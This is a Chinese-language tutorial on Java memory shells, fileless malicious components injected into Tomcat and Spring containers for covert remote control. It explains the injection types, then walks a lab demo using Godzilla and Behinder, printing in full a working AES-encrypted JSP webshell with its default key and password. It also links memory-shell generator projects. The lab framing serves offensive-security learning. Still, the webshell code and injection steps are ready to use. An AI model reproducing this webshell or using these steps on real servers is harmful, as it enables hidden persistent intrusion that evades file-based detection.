Java内存马1
Java内存马(Memory Shell)是一种无文件形式的恶意代码,它直接注入到Java应用程序的内存中运行,通过利用Java Web容器或框架的组件实现隐蔽的远程控制。由于其无文件特性,它能够规避传统的安全检测手段,成为现代攻防对抗中的高级威胁。
🔍 Java内存马的核心特点
- 无文件驻留 内存马完全驻留在JVM内存中,不写入磁盘,因此传统杀毒软件的文件扫描难以检测。
- 高隐蔽性 通过动态技术植入到Servlet、Filter、Controller等合法组件中,与正常业务代码混合执行,不易被日志或监控发现。
- 持久化能力 通过修改组件配置或劫持类加载器,确保服务重启后仍能重新激活。例如,在Tomcat中动态注册Filter并映射到全局URL模式。
- 跨平台性 依赖JVM的跨平台特性,可在Windows、Linux等多种操作系统上运行。
⚙️ 常见类型与工作原理
内存马通常利用漏洞或已有Webshell作为跳板,通过反射机制动态注入恶意组件。以下是主要类型:
| 类型 | 攻击原理 | 触发条件 |
|---|---|---|
| Servlet/Filter/Listener型 | 篡改Tomcat等容器的组件,例如注册恶意Filter拦截所有请求。 | 请求路径匹配预设的URL模式。 |
| 框架型 | 针对Spring等框架,动态注册Controller或Interceptor。 | 匹配框架路由规则。 |
| Agent型 | 利用Java Agent技术修改已加载类的字节码,Hook关键方法如doFilter。 |
类被调用时自动执行恶意逻辑。 |
| 中间件型 | 针对Tomcat Valve、WebLogic组件等,在请求处理链中插入恶意模块。 | 请求经过中间件处理链。 |
![]() |
||
| 植入流程一般分为三步: |
- 制作恶意组件:实现Servlet、Filter等接口,重写方法以执行命令。
- 注入内存:通过类加载器加载恶意字节码。
- 模拟注册:获取上下文,将组件绑定到URL路由。
简单演示
靶场
准备一个文件上传的靶场, 上传jsp文件
我的靶场:https://gitee.com/your_db_password-sec/source/blob/master/Java%E5%86%85%E5%AD%98%E9%A9%AC/upload-demo.war
下载后放在tomcat目录webapps下
然后启动tomcat,自会生成upload-demo目录, 然后访问8080端口/upload-demo目录

哥斯拉
首先以哥斯拉为例, 打开哥斯拉, 生成一个jsp马
生成后保存到本地, 然后上传到靶场
可以看到上传成功 ,
然后添加到哥斯拉
文件地址:http://YOUR_IP:8080/upload-demo/Upload/test.jsp

添加成功后右键进入, 有memoryshell一栏, 即注入内存马
点击run后注入.
然后重新添加一个
连接成功即注入成功.
冰蝎V4.1
webshell如下, 或者选择自带的, 在冰蝎的server目录下, 自带的shell.jsp不适用高版本jdk
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.util.Base64"%>
<%!
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader())
.g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine())))
.newInstance()
.equals(pageContext);
}
%>该该文件上传到靶场
然后使用冰蝎连接, 密码rebeyond
连接成功后右键注入内存马

注入后会自动添加 发现冰蝎注入后无法建立连接, 可能是没有对应靶场类型的内存马, 内存马分类型. 冰蝎注入的过程如上
其他工具
其他工具诸如游魂, 蚁剑等注入内存马效果类似. 蚁剑配合插件使用
内存马生成项目:
https://github.com/ReaJason/MemShellParty https://github.com/pen4uin/java-memshell-generator
注意
注入内存马的前提通常是已经成功获取 WebShell或类似的初始访问权限, 因为:
内存马是直接在服务器内存中注入恶意代码逻辑(如恶意 Filter、Listener、Servlet 等),它依赖于对服务器运行时环境(如 Java 应用的 ClassLoader、容器上下文等)的访问和操控能力。
而 WebShell 是 “获取初始访问权限” 的关键:
- 它能让攻击者在目标服务器上执行自定义代码(如命令执行、文件操作等)。
- 更重要的是,WebShell 提供了与服务器运行时环境交互的入口(比如 JSP WebShell 可直接操作 pageContext、ServletContext 等容器对象)。
